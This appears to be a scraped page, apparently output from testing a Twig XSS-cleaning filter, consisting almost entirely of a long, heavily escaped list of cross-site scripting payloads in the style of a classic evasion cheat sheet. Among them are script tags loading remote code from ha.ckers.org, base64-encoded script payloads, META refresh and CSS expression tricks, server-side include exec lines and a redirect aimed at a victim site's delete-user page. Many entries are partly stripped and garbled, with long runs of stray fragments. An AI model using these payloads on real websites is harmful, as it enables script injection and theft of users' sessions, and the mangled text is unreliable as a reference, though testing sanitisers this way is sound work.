&ParamHeight=250\\r\\n<IFRAME width=\\\"420\\\" height=\\\"315\\\" frameborder=\\\"0\\\" =\\\"alert()\\\"></IFRAME>\\r\\n\\\"><IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\\">123
\\r\\n\\\"><IFRAME SRC=# =\\\"alert()\\\"></IFRAME>123
\\r\\n<iframe src=http://xss.rocks/scriptlet.html <\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# =\\\"alert()\\\"></IFRAME>\\r\\n<iframe src=\\\" (1) \\\">\\r\\n<svg><style>{font-family:\\\'<iframe/=confirm(1)>\\\'\\r\\n<input/=\\\"(1)\\\"\\r\\n<sVg><isindex >\\>\\>X</a\\r\\nhttp://www.googlealert)\r\\n<a >XYZ</a\\r\\n<img/>alert(String.fromCharCode(49))^__^\\r\\n</style ><input type=\\\"date\\\" =\\\"alert(1)\\\">\\r\\n<form><textarea
=\\\'\\\a\\\l\\\e\\\r\\\t(1)\\\'>\\r\\n\\\'>\\r\\n<a >X</a>\\r\\n\\r\\n<style/=<!-- >
alert
(1)>\\r\\n<///style///><span / =\\\'alert(1)\\\'>SPAN\\r\\n<img/><svg><style>{-o-link-source:\\\'<body/=confirm(1)>\\\'\\r\\n
<blink/
=prompt(1)>OnMouseOver {Firefox & Opera}\\r\\n<marquee =\\\'(1)\\\'>^__^\\r\\n<div/>X</div> {IE7}\\r\\n<iframe// src=(1)\\r\\n//<form/action=()><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/=prompt(1) /*iframe/src*/>\\r\\n//|\\\\\\\\ //|\\\\\\\\ //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/=this.=confirm(1)>\\\'</font>/</style>\\r\\n<a/><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/=prompt(1)\\r\\n</svg>\\\'\\\'<svg>alert(1) {Opera}\\r\\n<a ><button>\\r\\n<div =\\\'alert(1)\\\'>DIV</div>\\r\\n<iframe =\\\"prompt(1)\\\">\\r\\n<a >X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var =\\\"prompt(1)\\\">On Mouse Over</var>\\r\\n<a >Click Here</a>\\r\\n<img >\\r\\n<%<!--\\\'%>alert(1);-->\\r\\n\\\">X</a\\r\\n<iframe/=\\\a\\\l\\\e\\\r\\\t(\\\'\\\a\\\') worksinIE>\\r\\n~\\\'\\\a\\\' ; \\\t\\\h\\\r\\\o\\\w ~ \\\t\\\h\\\i\\\s. \\\a\\\l\\\e\\\r\\\t(~\\\'\\\a\\\')U+\\r\\n</object>\\r\\n<iframe src=\\\%(base64)s\\\">\\r\\n<embed src=\\\%(base64)s\\\">
by zz | at 2021-08-19 09:45:17
result with twig: {% xss_clean %}{{ xss.xss | raw }}{% end_xss_clean %}:
\\\'\\\';!--\\\"=&{()}\\r\\n\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\nxxs link\\r\\nxxs link\\r\\n![]()
\\\">\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\n![]()
\\r\\nperl -e \\\'print \\\"![]()
\\\";\\\' > out\\r\\n![]()
\\r\\n\\r\\n<BODY !#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\"XSS\\\")>\\r\\n\\r\\n<\\r\\n\\r\\n\\r\\n<IMG >\\>\\>\\r\\n<IMG >\\r\\n<IMG >\\r\\n<STYLE>li {list-style-image: url(\\\"(\\\'XSS\\\')\\\");}</STYLE><UL><LI>XSS</br>\\r\\n<IMG >\\r\\n<IMG >\\r\\n<BODY >\\r\\n<BGSOUND SRC=\\\"(\\\'XSS\\\');\\\">\\r\\n<BR SIZE=\\\"&{alert(\\\'XSS\\\')}\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"(\\\'XSS\\\');\\\">\\r\\n<LINK REL=\\\"stylesheet\\\" HREF=\\\"http://ha.ckers.org/xss.css\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\"Link\\\" Content=\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\">\\r\\n<STYLE>BODY{:url(\\\"http://ha.ckers.org/xssmoz.xml#xss\\\")}</STYLE>\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\"XSS\\\")\\\';</STYLE>\\r\\n<IMG >\\r\\nexp/*<A >\\r\\n<STYLE TYPE=\\\"text/javascript\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\"(\\\'XSS\\\')\\\");}</STYLE><A ></A>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<STYLE type=\\\"text/css\\\">BODY{background:url(\\\"(\\\'XSS\\\')\\\")}</STYLE>\\r\\n<XSS >\\r\\n<XSS >\\r\\n\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0;url=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<META HTTP-EQUIV=\\\"refresh\\\" CONTENT=\\\"0; URL=http://;URL=(\\\'XSS\\\');\\\">\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<IFRAME SRC=# ></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\"(\\\'XSS\\\');\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<TABLE><TD BACKGROUND=\\\"(\\\'XSS\\\')\\\">\\r\\n<DIV url((\\\'XSS\\\'))\\\">\\r\\n<DIV >\\r\\n<DIV url((\\\'XSS\\\'))\\\">\\r\\n<DIV alert(\\\'XSS\\\'));\\\">\\r\\n<BASE HREF=\\\"(\\\'XSS\\\');//\\\">\\r\\n <OBJECT TYPE=\\\"text/x-scriptlet\\\" DATA=\\\"http://ha.ckers.org/scriptlet.html\\\"></OBJECT>\\r\\n<EMBED SRC=\\\PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n\\r\\n<!--#exec cmd=\\\"/bin/echo \\\'<SCR\\\'\\\"--><!--#exec cmd=\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js>\\\'\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';echo(\\\'IPT>alert(\\\"XSS\\\")\\\'); ?>\\r\\n<IMG >\\>\\r\\n <HEAD><META HTTP-EQUIV=\\\"CONTENT-TYPE\\\" CONTENT=\\\"text/html; charset=UTF-7\\\"> </HEAD>\\r\\n\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\r\\n\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n` SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\nPT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<A >XSS</A>\\r\\n<A >XSS</A>\\r\\n<A >XSS</A>\\r\\n<A >XSS</A>\\r\\n<A >XSS</A>\\r\\n<A >XSS</A>\\r\\n<iframe src=\\\" (1) \\\">\\r\\n<svg><style>{font-family:\\\'<iframe/>\\\'\\r\\n<input/><isindex >\\>\\>\\\">\\/>\\r\\n<svg>\r\\n<svg>\\r\\n<iframe src=)>\\r\\n<form><a >X\\r\\n<img/*/>\\r\\n<img/
>\\r\\n<form><iframe
src=\\\"(1)\\\"
;>\\r\\n<a >X</a\\r\\nhttp://www.googlealert)\r\\n<a >XYZ</a\\r\\n<img/>alert(String.fromCharCode(49))^__^\\r\\n</style ><input type=\\\"date\\\" >\\r\\n<form><textarea
>\\r\\n\\r\\n<a >X</a>\\r\\n\\r\\n<style/ >
alert
(1)>\\r\\n<///style///><span / >SPAN\\r\\n<img/><svg><style>{-o-link-source:\\\'<body/>\\\'\\r\\n
<blink/
> {Firefox & Opera}\\r\\n<marquee >^__^\\r\\n<div/>X</div> {IE7}\\r\\n<iframe// src=(1)\\r\\n//<form/action=()><input/type=\\\'submit\\\'>//\\r\\n/*iframe/src*/<iframe/src=\\\"<iframe/src=@\\\"/ /*iframe/src*/>\\r\\n//|\\\\\\\\ //|\\\\\\\\ //|\\\\\\\\\\r\\n</font>/<svg><style>{src:\\\'<style/>\\\'</font>/</style>\\r\\n<a/><input type=\\\"X\\\">\\r\\n</plaintext\\\\></|\\\\><plaintext/>\\\'\\\'<svg>alert(1) {Opera}\\r\\n<a ><button>\\r\\n<div >DIV</div>\\r\\n<iframe >\\r\\n<a >X</a>\\r\\n<embed src=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<object data=\\\"http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf\\\">\\r\\n<var >On Mouse Over</var>\\r\\n<a >Click Here</a>\\r\\n<img >\\r\\n<%<!--\\\'%>\\r\\n\\r\\n<iframe/src \\\\/\\\\/ value=<><iframe/src=(1)\\r\\n<input type=\\\"text\\\" value=`` <div/>X</div>\\r\\nhttp://www.</iframe>\\r\\n<svg></iframe>\\r\\n<img >\\></object>\\r\\n<meta http-equiv=\\\"refresh\\\" content=\\\"0;(1)\\\"/>\\r\\n<math><a >click\\r\\n<embed code=\\\"http://businessinfo.co.uk/labs/xss/xss.swf\\\" allowscriptaccess=always>\\r\\n<svg contentScriptType=text/vbs>\\\">X</a\\r\\n<iframe/ worksinIE>\\r\\na=\\\a & /=/\\r\\n\r\\n<object data=\\\alert(1)>\\r\\n\\r\\n<body/
alert(1)>\\r\\n/*\\r\\n<svg> alert(1)\\r\\n<a >ClickMe\\r\\n alert(1) 1=2\\r\\n<div/> style=\\\"x:\\\">\\r\\n<--`<img/> --!>\\>x</button>\\r\\n\\\"><img >\\r\\n<form><button >CLICKME\\r\\n<math><a >click\\r\\n<object data=PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>\\r\\n<iframe src=\\\PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\">\\r\\n<IFRAME SRC=\\\"(\\\'XSS\\\');\\\"></IFRAME>\\r\\n<EMBED SRC=\\\PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\" type=\\\"image/svg+xml\\\" AllowScriptAccess=\\\"always\\\"></EMBED>\\r\\n\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\\" \\\'\\\' SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\\'\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n\\\'>\\\" SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\nPT SRC=\\\"http://ha.ckers.org/xss.js\\\">\\r\\n<\\r\\n<\\\"\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>&submit.x=27&submit.y=9&cmd=search\\r\\n&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510\\r\\n&search=1\\r\\n0&q=\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert%2?8String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode?(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83)%?29//-->\\\">\\\'>&submit-frmGoogleWeb=Web+Search\\r\\n<h1><font color=blue>hellox worldss</h1>\\r\\n<BODY worldss\\\')>\\r\\n<input autofocus>\\r\\n<input autofocus><input autofocus>\\r\\n<body ><br><br><br><br><br><br>...<br><br><br><br><input autofocus>\\r\\n<form><button >lol\\r\\n<!--<img ><img >\\r\\n<![><img ><img >\\r\\n<style><img ><img >\\r\\n<? foo=\\\">\\\">\\r\\n<! foo=\\\">\\\">\\r\\n</ foo=\\\">\\\">\\r\\n<? foo=\\\"><x foo=\\\'?>\\\'>\\\">\\r\\n<! foo=\\\"[[[Inception]]\\\"><x foo=\\\"]foo>\\\">\\r\\n<% foo><x foo=\\\"%>\\\">\\r\\n<div
;color:red;\\\';\\\">LOL\\r\\nLOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>\\r\\n\\r\\n<svg xmlns=\\\"http://www.w3.org/2000/svg\\\">LOL</svg>\\r\\nalert(/XSS/.source)\\r\\n\\\\\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE>alert(\\\\\\\"XSS\\\\\\\");\\r\\n<INPUT TYPE=\\\\\\\"IMAGE\\\\\\\" SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<BODY BACKGROUND=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<BODY =alert(\\\'XSS\\\')>\\r\\n<IMG DYNSRC=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<IMG LOWSRC=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<BGSOUND SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<BR SIZE=\\\\\\\"&{alert(\\\'XSS\\\')}\\\\\\\">\\r\\n<LAYER SRC=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></LAYER>\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<LINK REL=\\\\\\\"stylesheet\\\\\\\" HREF=\\\\\\\"http://ha.ckers.org/xss.css\\\\\\\">\\r\\n<STYLE>@import\\\'http://ha.ckers.org/xss.css\\\';</STYLE>\\r\\n<META HTTP-EQUIV=\\\\\\\"Link\\\\\\\" Content=\\\\\\\"<http://ha.ckers.org/xss.css>; REL=stylesheet\\\\\\\">\\r\\n<STYLE>BODY{:url(\\\\\\\"http://ha.ckers.org/xssmoz.xml#xss\\\\\\\")}</STYLE>\\r\\n<XSS STYLE=\\\\\\\"(xss.htc);\\\\\\\">\\r\\n<STYLE>li {list-style-image: url(\\\\\\\"(\\\'XSS\\\')\\\\\\\");}</STYLE><UL><LI>XSS\\r\\n<IMG SRC=\\\'(\\\\\\\"XSS\\\\\\\")\\\'>\\r\\n<IMG SRC=\\\\\\\"\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"\\\\\\\">\\r\\nžscriptualert(EXSSE)ž/scriptu\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=(\\\'XSS\\\');\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0;url=PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\\\\\\\">\\r\\n<META HTTP-EQUIV=\\\\\\\"refresh\\\\\\\" CONTENT=\\\\\\\"0; URL=http://;URL=(\\\'XSS\\\');\\\\\\\"\\r\\n<IFRAME SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\"></IFRAME>\\r\\n<FRAMESET><FRAME SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\"></FRAMESET>\\r\\n<TABLE BACKGROUND=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<TABLE><TD BACKGROUND=\\\\\\\"(\\\'XSS\\\')\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url((\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image:\\\\0075\\\\0072\\\\006C\\\\0028\\\'\\\\006a\\\\0061\\\\0076\\\\0061\\\\0073\\\\0063\\\\0072\\\\0069\\\\0070\\\\0074\\\\003a\\\\0061\\\\006c\\\\0065\\\\0072\\\\0074\\\\0028.1027\\\\0058.1053\\\\0053\\\\0027\\\\0029\\\'\\\\0029\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"background-image: url((\\\'XSS\\\'))\\\\\\\">\\r\\n<DIV STYLE=\\\\\\\"width: alert(\\\'XSS\\\'));\\\\\\\">\\r\\n<STYLE>@im\\\\port\\\'\\\\ja\\\\vasc\\\\ript:alert(\\\\\\\"XSS\\\\\\\")\\\';</STYLE>\\r\\n<IMG STYLE=\\\\\\\"xss:expr/*XSS*/ession(alert(\\\'XSS\\\'))\\\\\\\">\\r\\n<XSS STYLE=\\\\\\\"xss:alert(\\\'XSS\\\'))\\\\\\\">\\r\\nexp/*<A STYLE=\\\'no\\\\xss:noxss(\\\\\\\"*//*\\\\\\\");\\r\\nxss:ex/*XSS*//*/*/pression(alert(\\\\\\\"XSS\\\\\\\"))\\\'>\\r\\n<STYLE TYPE=\\\\\\\"text/javascript\\\\\\\">alert(\\\'XSS\\\');</STYLE>\\r\\n<STYLE>.XSS{background-image:url(\\\\\\\"(\\\'XSS\\\')\\\\\\\");}</STYLE><A CLASS=XSS></A>\\r\\n<STYLE type=\\\\\\\"text/css\\\\\\\">BODY{background:url(\\\\\\\"(\\\'XSS\\\')\\\\\\\")}</STYLE>\\r\\n<!--[if gte IE 4]>\\r\\nalert(\\\'XSS\\\');\\r\\n<![endif]-->\\r\\n<BASE HREF=\\\\\\\"(\\\'XSS\\\');//\\\\\\\">\\r\\n<OBJECT TYPE=\\\\\\\"text/x-scriptlet\\\\\\\" DATA=\\\\\\\"http://ha.ckers.org/scriptlet.html\\\\\\\"></OBJECT>\\r\\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=(\\\'XSS\\\')></OBJECT>\\r\\n<EMBED SRC=\\\\\\\"http://ha.ckers.org/xss.swf\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\n<EMBED SRC=\\\\\\\PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\\\\\\\" type=\\\\\\\"image/svg+xml\\\\\\\" AllowScriptAccess=\\\\\\\"always\\\\\\\"></EMBED>\\r\\na=\\\\\\\"get\\\\\\\";\\r\\nb=\\\\\\\"URL(\\\\\\\\\\\"\\\\\\\";\\r\\nc=\\\\\\\"\\\\\\\";\\r\\nd=\\\\\\\"alert(\\\'XSS\\\');\\\\\\\\\\\")\\\\\\\";\\r\\neval(a+b+c+d);\\r\\n<HTML xmlns:xss><?import namespace=\\\\\\\"xss\\\\\\\" implementation=\\\\\\\"http://ha.ckers.org/xss.htc\\\\\\\"><xss:xss>XSS</xss:xss></HTML>\\r\\n<XML ID=I><X><C><![CDATA[<IMG SRC=\\\\\\\"javas]]><![CDATA[cript:alert(\\\'XSS\\\');\\\\\\\">]]>\\r\\n</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<XML ID=\\\\\\\"xss\\\\\\\"><I><B><IMG SRC=\\\\\\\"javas<!-- -->cript:alert(\\\'XSS\\\')\\\\\\\"></B></I></XML>\\r\\n<SPAN DATASRC=\\\\\\\"#xss\\\\\\\" DATAFLD=\\\\\\\"B\\\\\\\" DATAFORMATAS=\\\\\\\"HTML\\\\\\\"></SPAN>\\r\\n<XML SRC=\\\\\\\"xsstest.xml\\\\\\\" ID=I></XML>\\r\\n<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\\r\\n<HTML><BODY>\\r\\n<?xml:namespace prefix=\\\\\\\"t\\\\\\\" ns=\\\\\\\"urn:schemas-microsoft-com:time\\\\\\\">\\r\\n<?import namespace=\\\\\\\"t\\\\\\\" implementation=\\\\\\\"#default#time2\\\\\\\">\\r\\n<t:set attributeName=\\\\\\\"innerHTML\\\\\\\" to=\\\\\\\"XSS<SCRIPT DEFER>alert("XSS")\\\\\\\">\\r\\n</BODY></HTML>\\r\\n<SCRIPT SRC=\\\\\\\"http://ha.ckers.org/xss.jpg\\\\\\\">\\r\\n<!--#exec cmd=\\\\\\\"/bin/echo \\\'<SCR\\\'\\\\\\\"--><!--#exec cmd=\\\\\\\"/bin/echo \\\'IPT SRC=http://ha.ckers.org/xss.js>\\\'\\\\\\\"-->\\r\\n<? echo(\\\'<SCR)\\\';\\r\\necho(\\\'IPT>alert(\\\\\\\"XSS\\\\\\\")\\\'); ?>\\r\\n<IMG SRC=\\\\\\\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\\\\\\\">\\r\\nRedirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser\\r\\n<META HTTP-EQUIV=\\\\\\\"Set-Cookie\\\\\\\" Content=\\\\\\\"USERID=alert(\\\'XSS\\\')\\\\\\\">\\r\\n<HEAD><META HTTP-EQUIV=\\\\\\\"CONTENT-TYPE\\\\\\\" CONTENT=\\\\\\\"text/html; charset=UTF-7\\\\\\\"> </HEAD>\\r\\n<SCRIPT a=\\\\\\\">\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT =\\\\\\\">\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT a=\\\\\\\">\\\\\\\" \\\'\\\' SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT \\\\\\\"a=\\\'>\\\'\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT a=`>` SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<SCRIPT a=\\\\\\\">\\\'>\\\\\\\" SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n(\\\\\\\"<SCRI\\\\\\\");PT SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<A HREF=\\\\\\\"http://66.102.7.147/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.google.com\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://1113982867/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://0x42.0x0000066.0x7.0x93/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://0102.0146.0007.00000223/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"htt p://6 6.000146.0x7.147/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"//www.google.com/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"//google\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://ha.ckers.org@google\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://google:ha.ckers.org\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://google.com/\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.google.com./\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"\\\'http://www.google.com/\\\'\\\\\\\">XSS</A>\\r\\n<A HREF=\\\\\\\"http://www.gohttp://www.google.com/ogle.com/\\\\\\\">XSS</A>\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n<\\r\\n\\\\x3c\\r\\n\\\\x3C\\r\\n\\\<\\r\\n\\\<\\r\\n<iframe src=http://ha.ckers.org/scriptlet.html>\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\')\\\\\\\"\\r\\n<SCRIPT SRC=//ha.ckers.org/.js>\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>\\r\\n<alert(\\\\\\\"XSS\\\\\\\");//<\\r\\n<SCRIPT/SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<BODY !#$%&()*~+-_.,:;?@[/|\\\\]^`=alert(\\\\\\\"XSS\\\\\\\")>\\r\\n<SCRIPT/XSS SRC=\\\\\\\"http://ha.ckers.org/xss.js\\\\\\\">\\r\\n<IMG SRC=\\\\\\\" (\\\'XSS\\\');\\\\\\\">\\r\\nperl -e \\\'print \\\\\\\"<SCR\\\\0IPT>alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")</SCR\\\\0IPT>\\\\\\\";\\\' > out\\r\\nperl -e \\\'print \\\\\\\"<IMG SRC=java\\\\0script:alert(\\\\\\\\\\\"XSS\\\\\\\\\\\")>\\\\\\\";\\\' > out\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<IMG SRC=('XSS')>\\r\\n<IMG SRC=('XSS')>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=(String.fromCharCode(88,83,83))>\\r\\n<IMG \\\\\\\"\\\\\\\"\\\\\\\">alert(\\\\\\\"XSS\\\\\\\")\\\\\\\">\\r\\n<IMG SRC=`(\\\\\\\"RSnake says, \\\'XSS\\\'\\\\\\\")`>\\r\\n<IMG SRC=("XSS")>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=(\\\'XSS\\\')>\\r\\n<IMG SRC=\\\\\\\"(\\\'XSS\\\');\\\\\\\">\\r\\n<SCRIPT SRC=http://ha.ckers.org/xss.js>\\r\\n\\\'\\\';!--\\\\\\\"<XSS>=&{()}\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\\\\\">\\\'>alert(String.fromCharCode(88,83,83))\\r\\n\\\';alert(String.fromCharCode(88,83,83))//\\\\\\\';alert(String.fromCharCode(88,83,83))//\\\";alert(String.fromCharCode(88,83,83))//\\\\\\\";alert(String.fromCharCode(88,83,83))//-->\\\">\\\'>\\r\\n\\\'\\\';!--\\\"<XSS>=&{()}\\r\\n\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG >\\r\\n<IMG \\\"\\\"\\\">\\\">\\r\\n<IMG >\\r\\n\\r\\n\\r\\n<\\r\\n\\r\\n\\\\\\\";alert(\\\'XSS\\\');//\\r\\n</TITLE>\\r\\n\\r\\n<IFRAME 